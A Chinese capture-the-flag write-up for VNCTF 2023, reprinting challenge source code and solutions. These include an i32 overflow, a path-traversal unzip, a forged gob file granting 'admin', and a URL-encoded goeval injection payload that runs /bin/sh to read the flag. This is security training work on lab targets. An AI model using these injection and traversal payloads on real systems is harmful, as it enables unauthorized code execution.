草庐IT

2023_VNCTF_WP

nLesxw 2023-03-28 原文

概述

题目来源:buuctf平台举行的vnctf。这次VNCTF还是很好玩的,特别是BabyGo(我也只看了web和misc方式的题),刚好也是在最后的30分钟出了,要不然哭死。6点之前已经有思路要覆盖user.gob文件了,但是一直覆盖不到,后面再认认真真检查了好几遍才发现path理解错了。拿到这题源码时一直在发呆,一点激情都没有。发现自己打这种比赛永远抢不了一血,一是因为知识储配不过,题刷的不够多;二是因为拿到不熟悉的题就容易发呆。幸好今天还够幸运,解出了花费很长时间的题,要不然又是自闭的一天QAQ。因为能力当前就处于“这样”的阶段,所以做出的BabyGo我给了非常详细的解题过程。

Web

象棋王子

直接f12,然后发现特殊字符,ctrl+c -----------> 控制台 ----------->  ctrl+v 回车后得到flag

电子木鱼

参考这篇文章:https://course.rs/basic/base-type/numbers.html

题目源码:

use actix_files::Files;
use actix_web::{
    error, get, post,
    web::{self, Json},
    App, Error, HttpResponse, HttpServer,
};
use once_cell::sync::Lazy;
use serde::{Deserialize, Serialize};
use std::sync::{Arc, Mutex};
use tera::{Context, Tera};

static GONGDE: Lazy<ThreadLocker<i32>> = Lazy::new(|| ThreadLocker::from(0));

#[derive(Debug, Clone, Default)]
struct ThreadLocker<T> {
    value: Arc<Mutex<T>>,
}

impl<T: Clone> ThreadLocker<T> {
    fn get(&self) -> T {
        let mutex = self.value.lock().unwrap();
        mutex.clone()
    }
    fn set(&self, val: T) {
        let mut mutex = self.value.lock().unwrap();
        *mutex = val;
    }
    fn from(val: T) -> ThreadLocker<T> {
        ThreadLocker::<T> {
            value: Arc::new(Mutex::new(val)),
        }
    }
}

#[derive(Serialize)]
struct APIResult {
    success: bool,
    message: &'static str,
}

#[derive(Deserialize)]
struct Info {
    name: String,
    quantity: i32,
}

#[derive(Debug, Copy, Clone, Serialize)]
struct Payload {
    name: &'static str,
    cost: i32,
}

const PAYLOADS: &[Payload] = &[
    Payload {
        name: "Cost",
        cost: 10,
    },
    Payload {
        name: "Loan",
        cost: -1_000,
    },
    Payload {
        name: "CCCCCost",
        cost: 500,
    },
    Payload {
        name: "Donate",
        cost: 1,
    },
    Payload {
        name: "Sleep",
        cost: 0,
    },
];

#[get("/")]
async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> {
    let mut context = Context::new();

    context.insert("gongde", &GONGDE.get());

    if GONGDE.get() > 1_000_000_000 {
        context.insert(
            "flag",
            &std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),
        );
    }

    match tera.render("index.html", &context) {
        Ok(body) => Ok(HttpResponse::Ok().body(body)),
        Err(err) => Err(error::ErrorInternalServerError(err)),
    }
}

#[get("/reset")]
async fn reset() -> Json<APIResult> {
    GONGDE.set(0);
    web::Json(APIResult {
        success: true,
        message: "重开成功,继续挑战佛祖吧",
    })
}

#[post("/upgrade")]
async fn upgrade(body: web::Form<Info>) -> Json<APIResult> {
    if GONGDE.get() < 0 {
        return web::Json(APIResult {
            success: false,
            message: "功德都搞成负数了,佛祖对你很失望",
        });
    }

    if body.quantity <= 0 {
        return web::Json(APIResult {
            success: false,
            message: "佛祖面前都敢作弊,真不怕遭报应啊",
        });
    }

    if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
        let mut cost = payload.cost;

        if payload.name == "Donate" || payload.name == "Cost" {
            cost *= body.quantity;
        }

        if GONGDE.get() < cost as i32 {
            return web::Json(APIResult {
                success: false,
                message: "功德不足",
            });
        }

        if cost != 0 {
            GONGDE.set(GONGDE.get() - cost as i32);
        }

        if payload.name == "Cost" {
            return web::Json(APIResult {
                success: true,
                message: "小扣一手功德",
            });
        } else if payload.name == "CCCCCost" {
            return web::Json(APIResult {
                success: true,
                message: "功德都快扣没了,怎么睡得着的",
            });
        } else if payload.name == "Loan" {
            return web::Json(APIResult {
                success: true,
                message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖",
            });
        } else if payload.name == "Donate" {
            return web::Json(APIResult {
                success: true,
                message: "好人有好报",
            });
        } else if payload.name == "Sleep" {
            return web::Json(APIResult {
                success: true,
                message: "这是什么?床,睡一下",
            });
        }
    }

    web::Json(APIResult {
        success: false,
        message: "禁止开摆",
    })
}

#[actix_web::main]
async fn main() -> std::io::Result<()> {
    let port = std::env::var("PORT")
        .unwrap_or_else(|_| "2333".to_string())
        .parse()
        .expect("Invalid PORT");

    println!("Listening on 0.0.0.0:{}", port);

    HttpServer::new(move || {
        let tera = match Tera::new("src/templates/**/*.html") {
            Ok(t) => t,
            Err(e) => {
                println!("Error: {}", e);
                ::std::process::exit(1);
            }
        };
        App::new()
            .app_data(web::Data::new(tera))
            .service(Files::new("/asset", "src/templates/asset/").prefer_utf8(true))
            .service(index)
            .service(upgrade)
            .service(reset)
    })
    .bind(("0.0.0.0", port))?
    .run()
    .await
}

审计代码,发现使用Cost 会花费掉功德,且在下图所示地方进行计算

 

 结合cost的类型为i32构造quantity的数值,造成溢出,当quantity=2000000000 时 得到flag

 BabyGo

题目源码:

package main

import (
    "encoding/gob"
    "fmt"
    "github.com/PaulXu-cn/goeval"
    "github.com/duke-git/lancet/cryptor"
    "github.com/duke-git/lancet/fileutil"
    "github.com/duke-git/lancet/random"
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
    "net/http"
    "os"
    "path/filepath"
    "strings"
)

type User struct {
    Name  string
    Path  string
    Power string
}

func main() {
    r := gin.Default()
    store := cookie.NewStore(random.RandBytes(16))
    r.Use(sessions.Sessions("session", store))
    r.LoadHTMLGlob("template/*")

    r.GET("/", func(c *gin.Context) {
        userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
        session := sessions.Default(c)
        session.Set("shallow", userDir)
        session.Save()
        fileutil.CreateDir(userDir)
        gobFile, _ := os.Create(userDir + "user.gob")
        user := User{Name: "ctfer", Path: userDir, Power: "low"}
        encoder := gob.NewEncoder(gobFile)
        encoder.Encode(user)
        if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
            c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
            return
        }
        c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
    })

    r.GET("/upload", func(c *gin.Context) {
        c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
    })

    r.POST("/upload", func(c *gin.Context) {
        session := sessions.Default(c)
        if session.Get("shallow") == nil {
            c.Redirect(http.StatusFound, "/")
        }
        userUploadDir := session.Get("shallow").(string) + "uploads/"
        fileutil.CreateDir(userUploadDir)
        file, err := c.FormFile("file")
        if err != nil {
            c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
            return
        }
        ext := file.Filename[strings.LastIndex(file.Filename, "."):]
        if ext == ".gob" || ext == ".go" {
            c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
            return
        }
        filename := userUploadDir + file.Filename
        if fileutil.IsExist(filename) {
            fileutil.RemoveFile(filename)
        }
        err = c.SaveUploadedFile(file, filename)
        if err != nil {
            c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
            return
        }
        c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
    })

    r.GET("/unzip", func(c *gin.Context) {
        session := sessions.Default(c)
        if session.Get("shallow") == nil {
            c.Redirect(http.StatusFound, "/")
        }
        userUploadDir := session.Get("shallow").(string) + "uploads/"
        files, _ := fileutil.ListFileNames(userUploadDir)
        destPath := filepath.Clean(userUploadDir + c.Query("path"))
        for _, file := range files {
            if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
                err := fileutil.UnZip(userUploadDir+file, destPath)
                if err != nil {
                    c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
                    return
                }
                fileutil.RemoveFile(userUploadDir + file)
            }
        }
        c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
    })

    r.GET("/backdoor", func(c *gin.Context) {
        session := sessions.Default(c)
        if session.Get("shallow") == nil {
            c.Redirect(http.StatusFound, "/")
        }
        userDir := session.Get("shallow").(string)
        if fileutil.IsExist(userDir + "user.gob") {
            file, _ := os.Open(userDir + "user.gob")
            decoder := gob.NewDecoder(file)
            var ctfer User
            decoder.Decode(&ctfer)
            if ctfer.Power == "admin" {
                eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
                if err != nil {
                    fmt.Println(err)
                }
                c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
                return
            } else {
                c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
                return
            }
        } else {
            c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
            return
        }
    })

    r.Run(":80")
}
审计代码过程,在路径/upload下我们可以知道禁止上传了.gob.go文件
审计/unzip路径,我们可以知道这里把上传的.zip文件进行解压,关键点在下图所示
这里存在一个参数path,用于设置解压.zip文件后,解压文件存放的位置。这里存在filepath.Clean函数,查阅资料发现可以类似目录穿越
进行审计/backdoor路径,关键点如下图所示:

这里打开一个user.go的文件,调用了gob.NewDecoder函数,查阅资料发现gob文件为go的二进制文件,相关链接如下:http://c.biancheng.net/view/4563.html

在这里还设置了一个参数pkg,调用了goeval.Eval()函数,不认识然后百度查阅资料学习,在该链接明白用处:https://learnku.com/articles/57884
综上分析,大概解题思路是:上传一个zip文件,里面包含了user.gob,user.gob的内容要把ctfer.Power原来的值覆盖掉,改成admin才行。然后此时只是输出了Good,并没有得到flag,找到了下面文章:
了解到go的函数逃逸,从而getshell获取flag。
解题步骤如下:
1. 在/upload中上传了包含user.gob的zip文件,user.gob文件内容如下:
//user.go
package main

import (
    "encoding/gob"
    "fmt"
    "os"
)

type User struct {
        Name  string
        Path  string
        Power string
}

func main(){
        userDir := "/tmp/bd79ef7e97e0846c1b876078b346ad18/"  //自己docker起后的路径
        user := User{Name: "ctfer", Path: userDir, Power: "admin"}
        file, err := os.Create("./user.gob")
        if err != nil {
                fmt.Println("文件创建失败", err.Error())
        return
        }
        defer file.Close()

        encoder := gob.NewEncoder(file)
        err = encoder.Encode(user)
        if err != nil {
        fmt.Println("编码错误", err.Error())
        return
    } else {
        fmt.Println("编码成功")
    }
}
运行上面user.go文件得到user.gob文件
2. 在/unzip路径下,使用payload如下:
/unzip?path=../../../tmp/bd79ef7e97e0846c1b876078b346ad18/

3. 访问/backdoor,返回Good则上述步骤成功

4. 在/backdoor下,使用下面payload:

/backdoor?pkg=os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage="fmt

payload的构造参考上述给的链接

5. 得到返回结果:

 6. python脚本解码得到flag:flag{b9dd39fb-76b9-4b90-888c-833d81bbcdac}

Misc

验证码

把图片数字提取出来,使用该网站解密即可:https://tuppers-formula.ovh/

 

 得到flag:flag{MISC_COOL!!}

 

有关2023_VNCTF_WP的更多相关文章

  1. 华为OD机试用Python实现 -【明明的随机数】 2023Q1A - 2

    华为OD机试题本篇题目:明明的随机数题目输入描述输出描述:示例1输入输出说明代码编写思路最近更新的博客华为od2023|什么是华为od,od薪资待遇,od机试题清单华为OD机试真题大全,用Python解华为机试题|机试宝典【华为OD机试】全流程解析+经验分享,题型分享,防作弊指南华为o

  2. 华为OD机试真题 C++ 实现【带传送阵的矩阵游离】【2023 Q2 | 200分】 - 2

            所有题目均有五种语言实现。C实现目录、C++实现目录、Python实现目录、Java实现目录、JavaScript实现目录题目n行m列的矩阵,每个位置上有一个元素你可以上下左右行走,代价是前后两个位置元素值差的绝对值.另外,你最多可以使用一次传送阵(只能从一个数跳到另外一个相同的数)求从走上角走到右下角最少需要多少时间。输入描述:第一行两个整数n,m,分别代表矩阵的行和列。后面n行,每行m个整数,分别代表矩阵中的元素。输出描述:一个整数,表示最少需要多少时间。

  3. IDEA 2023.1 正式发布,新特性简介 - 2

     昨晚看到IDEA官推宣布IntelliJIDEA2023.1正式发布了。简单看了一下,发现这次的新版本包含了许多改进,进一步优化了用户体验,提高了便捷性。至于是否升级最新版本完全是个人意愿,如果觉得新版本没有让自己感兴趣的改进,完全就不用升级,影响不大。软件的版本迭代非常正常,正确看待即可,不持续改进就会慢慢被淘汰!根据官方介绍:IntelliJIDEA2023.1针对新的用户界面进行了大量重构,这些改进都是基于收到的宝贵反馈而实现的。官方还实施了性能增强措施,使得Maven导入更快,并且在打开项目时IDE功能更早地可用。由于后台提交检查,新版本提供了简化的提交流程。IntelliJIDEA

  4. 2023爱分析·流程中台市场厂商评估报告:微宏科技 - 2

     目录1. 研究范围定义2. 流程中台市场分析3. 厂商评估:微宏科技4. 入选证书 1.   研究范围定义近年来,随着外部市场环境快速变化、客户需求愈发多样,企业逐渐意识到,自身业务需要更加敏捷、高效,具备根据市场需求快速迭代的能力。业务流程的自动化能够帮助企业实现业务的敏捷高效,因此受到越来越多企业的关注。企业的“自动化武器库”品类丰富,包括低/零代码平台、RPA、BPM、AI等。企业可以使用多项自动化工具,但结果往往是各项自动化工具处于各自的“自动化烟囱”之中,仅能实现碎片式自动化。例如,某企业的IT团队可能在使用低代码平台、财务团队可能在使用RPA、呼叫中心则可能在使用聊天机器人。自动

  5. 连续3天3场分享,KubeVela@KubeCon EU 2023 抢鲜看! - 2

    自从2019年OpenApplicationModel诞生以来,KubeVela已经经历了几十个版本的变化,并向现代应用程序交付先进功能的方向不断发展。最近,KubeVela完成了向CNCF孵化项目的晋升,标志着社区的发展来到一个新的里程碑。今天,KubeVela社区内活跃着大量来自全球的开发者,共同推动KubeVela项目的落地和发展。在即将开幕的KubeCon+CloudNatvieConEurope2023上,我们惊喜地发现,连续3天,KubeVela项目的贡献者、企业用户和来自阿里云的核心维护者,将从不同角度展对KubeVela项目的分享。让我们先睹为快!🎙️BuildingaPlat

  6. 华为OD机试 -旋转骰子(Python) | 机试题算法思路 【2023】 - 2

    最近更新的博客华为OD机试-卡片组成的最大数字(Python)|机试题算法思路华为OD机试-网上商城优惠活动(一)(Python)|机试题算法思路华为OD机试-统计匹配的二元组个数(Python)|机试题算法思路华为OD机试-找到它(Python)|机试题算法思路华为OD机试-九宫格按键输入(Python)|机试算法备考思路华为OD机试-身高排序(Python)|备考思路使用说明参加华为od机试,一定要注意不要完全背诵代码,需要理解之后模仿写出,通过率才会高。华为OD清单查看地址:blog.csdn.net/hihell/catego

  7. 2023年6月DAMA-CDGP数据治理专家认证请尽快报名啦! - 2

    目前6月DAMA-CDGP数据治理认证考试开放报名地区有:北京、上海、广州、深圳、长沙、呼和浩特。目前南京、济南、西安、杭州等地区还在接近开考人数中,打算参加6月考试的朋友们可以抓紧时间报名啦!!!5月初,DAMA-CDGA/CDGP数据治理认证考前班也即将开班啦!报名从速!!!DAMA认证为数据管理专业人士提供职业目标晋升规划,彰显了职业发展里程碑及发展阶梯定义,帮助数据管理从业人士获得企业数字化转型战略下的必备职业能力,促进开展工作实践应用及实际问题解决,形成企业所需的新数字经济下的核心职业竞争能力。DAMA是数据管理方面的认证,帮助数据从业者提升数据管理能力。CDGP数据治理专家认证属于

  8. 华为OD机试模拟题 用 C++ 实现 - 删除指定目录(2023.Q1) - 2

    最近更新的博客【华为OD机试模拟题】用C++实现-最多获得的短信条数(2023.Q1))文章目录最近更新的博客使用说明删除指定目录题目输入输出示例一输入输出说明Code使用说明参加华为od机试,一定要注意不要完全背诵代码,需要理解之后模仿写出,通过率才会高。华为OD清单查看地址:https://blog.csdn.net/hihell/catego

  9. Internet Download Manager2023最好用的HTTP下载神器 - 2

    InternetDownloadManager介绍2023最佳下载利器。InternetDownloadManager(简称IDM)是一款Windows平台功能强大的多线程下载工具,国外非常受欢迎。支持断点续传,支持嗅探视频音频,接管所有浏览器,具有站点抓取、批量下载队列、计划任务下载,自动识别文件名、静默下载、网盘下载支持等功能。一款下载器软件,也可以叫它网页嗅探下载工具可以理解为和迅雷差不多,但是没有迅雷那么多广告,而且功能也更加强大(ps:我也是不久前知道迅雷可以下载网页的视频了)。这是一款互联网下载管理器,看着名字挺长的,但它还有一个简称,你一定知道:IDM,在很多论坛技术贴中被称为H

  10. C++---最长上升子序列模型---最大上升子序列和(每日一道算法2023.3.3) - 2

    注意事项:本题为"线性dp—最长上升子序列的长度"的扩展题,所以dp思路这里就不再赘述。题目:比如,对于序列(1,7,3,5,9,4,8),有它的一些上升子序列,如(1,7),(3,4,8)等。这些子序列中和最大为18,为子序列(1,3,5,9)的和。你的任务,就是对于给定的序列,求出最大上升子序列和。注意,最长的上升子序列的和不一定是最大的,比如序列(100,1,2,3)的最大上升子序列和为100,而最长上升子序列为(1,2,3)。输入格式输入的第一行是序列的长度N。第二行给出序列中的N个整数,这些整数的取值范围都在0到10000(可能重复)。输出格式输出一个整数,表示最大上升子序列和。数据

随机推荐